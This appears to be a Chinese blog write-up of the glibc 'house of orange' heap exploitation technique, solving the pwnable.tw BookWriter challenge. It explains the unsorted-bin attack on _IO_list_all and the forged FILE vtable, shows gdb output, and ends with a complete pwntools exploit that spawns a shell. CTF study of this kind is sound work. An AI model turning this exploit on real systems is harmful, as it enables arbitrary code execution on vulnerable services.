美文网首页
house of orange总结

house of orange总结

作者: HAPPYers | 来源:发表于2019-12-16 13:44 被阅读0次

例题
pwnable.tw BookWriter

原理可见
https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c
(注:此为glibc2.23下的利用方法,由于在glibc2.24中加入了对vtable的检测,所以需要其他利用方法,可以见https://xz.aliyun.com/t/2411
)

参考

https://sunichi.github.io/2018/07/02/pwnable-tw-bookwriter/
https://bbs.pediy.com/thread-223334.htm

思路简介:

  1. 首先修改top块的size,然后申请一个较大的块(不大于mmap申请的阈值,大于top块当前大小),当修改的size满足一定条件时,原来的top会被释放到unsorted bin。

  2. 通过堆溢出覆写原top内容,主要是构造IO_file_plus指针中的函数虚表,并伪造bk指针为unsorted bin攻击做铺垫。

  3. 当再次申请内存时,造成unsorted bin attack,将__IO_list_all覆写为原top头地址,由于unsorted bin结构的破坏,程序异常,会在malloc中调用malloc_printerr函数进行错误打印,在malloc_printerr中调用__libc_message,进一步调用abort(),再调用 _IO_flush_all_lockp(),在其中调用了_IO_OVERFLOW(fp,EOF),这个函数是使用虚表调用,如果可以覆盖调用的虚表,就可以达到执行system('/bin/sh')。

  4. 伪造的fp的结构应该满足

fp->_mode <= 0 
fp->_IO_write_ptr > fp->_IO_write_base

调试

覆写完top_chunk之后,可以在malloc_printerrabort这两个函数下断点。
然后当断在abort函数的时候,可以查看此时的_IO_list_all指针的变化。

pwndbg> b abort
Breakpoint 1 at 0x7f1dab028ec0: file abort.c, line 51.

然后malloc一个小堆块后在abort处断下来。查看_IO_list_all的情况

pwndbg> p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7f1dab3b6b78 <main_arena+88>
pwndbg> p *(struct _IO_FILE_plus*)_IO_list_all
$1 = {
  file = {
    _flags = 31375376, 
    _IO_read_ptr = 0x1dca2a0 "/bin/sh", 
    _IO_read_end = 0x1dca2a0 "/bin/sh", 
    _IO_read_base = 0x7f1dab3b7510 "", 
    _IO_write_base = 0x7f1dab3b6b88 <main_arena+104> "\240\242\334\001", 
    _IO_write_ptr = 0x7f1dab3b6b88 <main_arena+104> "\240\242\334\001", 
    _IO_write_end = 0x7f1dab3b6b98 <main_arena+120> "\210k;\253\035\177", 
    _IO_buf_base = 0x7f1dab3b6b98 <main_arena+120> "\210k;\253\035\177", 
    _IO_buf_end = 0x7f1dab3b6ba8 <main_arena+136> "\230k;\253\035\177", 
    _IO_save_base = 0x7f1dab3b6ba8 <main_arena+136> "\230k;\253\035\177", 
    _IO_backup_base = 0x7f1dab3b6bb8 <main_arena+152> "\250k;\253\035\177", 
    _IO_save_end = 0x7f1dab3b6bb8 <main_arena+152> "\250k;\253\035\177", 
    _markers = 0x1dca2a0, 
    _chain = 0x1dca2a0, 
    _fileno = -1422169128, 
    _flags2 = 32541, 
    _old_offset = 139765403577304, 
    _cur_column = 27624, 
    _vtable_offset = 59 ';', 
    _shortbuf = "\253", 
    _lock = 0x7f1dab3b6be8 <main_arena+200>, 
    _offset = 139765403577336, 
    _codecvt = 0x7f1dab3b6bf8 <main_arena+216>, 
    _wide_data = 0x7f1dab3b6c08 <main_arena+232>, 
    _freeres_list = 0x7f1dab3b6c08 <main_arena+232>, 
    _freeres_buf = 0x7f1dab3b6c18 <main_arena+248>, 
    __pad5 = 139765403577368, 
    _mode = -1422169048, 
    _unused2 = "\035\177\000\000(l;\253\035\177\000\000\070l;\253\035\177\000"
  }, 
  vtable = 0x7f1dab3b6c38 <main_arena+280>
}

然后我们看vtable(vtable = 0x7f1dab3b6c38 <main_arena+280>)改写后的情况

pwndbg> p *(struct _IO_jump_t*)0x7f1dab3b6c38
$3 = {
  __dummy = 139765403577384, 
  __dummy2 = 139765403577384, 
  __finish = 0x7f1dab3b6c38 <main_arena+280>, 
  __overflow = 0x7f1dab3b6c38 <main_arena+280>, 
  __underflow = 0x7f1dab3b6c48 <main_arena+296>, 
  __uflow = 0x7f1dab3b6c48 <main_arena+296>, 
  __pbackfail = 0x7f1dab3b6c58 <main_arena+312>, 
  __xsputn = 0x7f1dab3b6c58 <main_arena+312>, 
  __xsgetn = 0x7f1dab3b6c68 <main_arena+328>, 
  __seekoff = 0x7f1dab3b6c68 <main_arena+328>, 
  __seekpos = 0x7f1dab3b6c78 <main_arena+344>, 
  __setbuf = 0x7f1dab3b6c78 <main_arena+344>, 
  __sync = 0x7f1dab3b6c88 <main_arena+360>, 
  __doallocate = 0x7f1dab3b6c88 <main_arena+360>, 
  __read = 0x7f1dab3b6c98 <main_arena+376>, 
  __write = 0x7f1dab3b6c98 <main_arena+376>, 
  __seek = 0x7f1dab3b6ca8 <main_arena+392>, 
  __close = 0x7f1dab3b6ca8 <main_arena+392>, 
  __stat = 0x7f1dab3b6cb8 <main_arena+408>, 
  __showmanyc = 0x7f1dab3b6cb8 <main_arena+408>, 
  __imbue = 0x7f1dab3b6cc8 <main_arena+424>
}

PS

覆写top_chunk的大小为0x61这个考虑了很久。
改为0x61的原因:
malloc一个小堆块的时候,会把unsorted bin分配到对应大小的bin中去。通过unsorted bin,将_IO_list_all指针内容修改,可以改到main_arena+88也就是unsorted bin头的地址。
这个改动的原理是提前布置好top chunk的bk为&_IO_list_all-0x10,具体代码如下,这样就能把_IO_list_all改写为main_arena+88

victim = unsorted_bin(av)->bk = p;
bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk
unsorted_bin(av)->bk = bck;
bck->fd = unsorted_bin(av);            // bck->fd is *(target_addr)

当改成这个地址时,其内容时不满足执行_IO_OVERFLOW,转而去寻找位于chain这个位置的地址,继续执行。为了继续构造,可以去把这个地方的地址写成我们能控制内存的地址,这个位置是main_arena+216,是在fastbin链中,堆块大小为0x60的smallbin的地址,可以通过把unsorted bin中的原top挂到smallbin的方法来进一步利用,可把原top头的地址修改成0x61,并且修改bk指针为&_IO_list_all-0x10。这样通过malloc新建堆块时,由于unsorted bin中的堆块不唯一,就会把unsorted bin中堆块释放到bin中去,释放原top头时,会把该块挂载到smallbin[4],也就是我们期待的位置去,然后再处理bk指针,也就是_IO_list_all,会触发堆块大小为0的错误,进一步触发malloc_printerr 等一系列函数...

exp

基本上伪造的top_chunk的结构大小不变,有点模板化

# nc chall.pwnable.tw 10304
from pwn import *
debug = 1
elf = ELF('./bookwriter')
if debug:
    p = process('./bookwriter')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    context.log_level = 'debug'
else:
    p = remote("chall.pwnable.tw",10304)
    libc = ELF('./libc_64.so.6')
    context.log_level = 'debug'

def add(num, content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of page :')
    p.sendline(str(num))
    p.recvuntil('Content :')
    p.send(content)


def view(num):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index of page :')
    p.sendline(str(num))


def edit(num, content):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index of page :')
    p.sendline(str(num))
    p.recvuntil('Content:')
    p.send(content)


def info(num, content):
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil('(yes:1 / no:0) ')
    p.sendline(str(num))
    if(num):
        p.recvuntil('Author :')
        p.sendline(content)
    else:
        pass


def leak_heap():
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil('a'*0x40)
    result = u64(p.recvline()[0:-1].ljust(8, '\0'))
    p.recvuntil('(yes:1 / no:0) ')
    p.sendline('0')
    return result  # int(resultq[0:-1],10)


#gdb.attach(p,'b *0x400bdd')
p.recvuntil('Author :')
p.sendline('a'*0x40)
add(0x18, 'a'*0x18)  # 0
edit(0, 'a'*0x18)
edit(0, '\0'*0x18+'\xe1'+'\x0f'+'\0')

heap_addr = leak_heap()
for i in range(8):
    add(0x40, 'HAPPY000')  # 2

view(2)
p.recvuntil('HAPPY000')
libc_addr = u64(p.recvline()[0:-1].ljust(8, '\0'))  # leak bk (<main_arena+88>)
# 0x7f5527eafb78 <main_arena+88>
# 0x7f5527aeb000 libc
# 0x7f5527eae6e0 vtable
libc.address = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']
log.success('libc_addr:'+hex(libc_addr))
log.success('system: '+hex(libc.symbols['system']))
log.success('heap: '+hex(heap_addr))

edit(0, '\0'*0x290+'/bin/sh\0'+p64(0x61)+p64(libc_addr)+p64(libc.symbols['_IO_list_all']-0x10)+p64(
    2)+p64(3)+p64(0)*9+p64(libc.symbols['system']) + p64(0)*11 + p64(heap_addr+0x120+0x60+0x170))
#0x603010+0x290+0x60
# gdb.attach(p)
# p.interactive()
# gdb.attach(p)
# p.interactive()
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x10))
p.interactive()

相关文章

网友评论

      本文标题:house of orange总结

      本文链接:https://www.haomeiwen.com/subject/tuzrnctx.html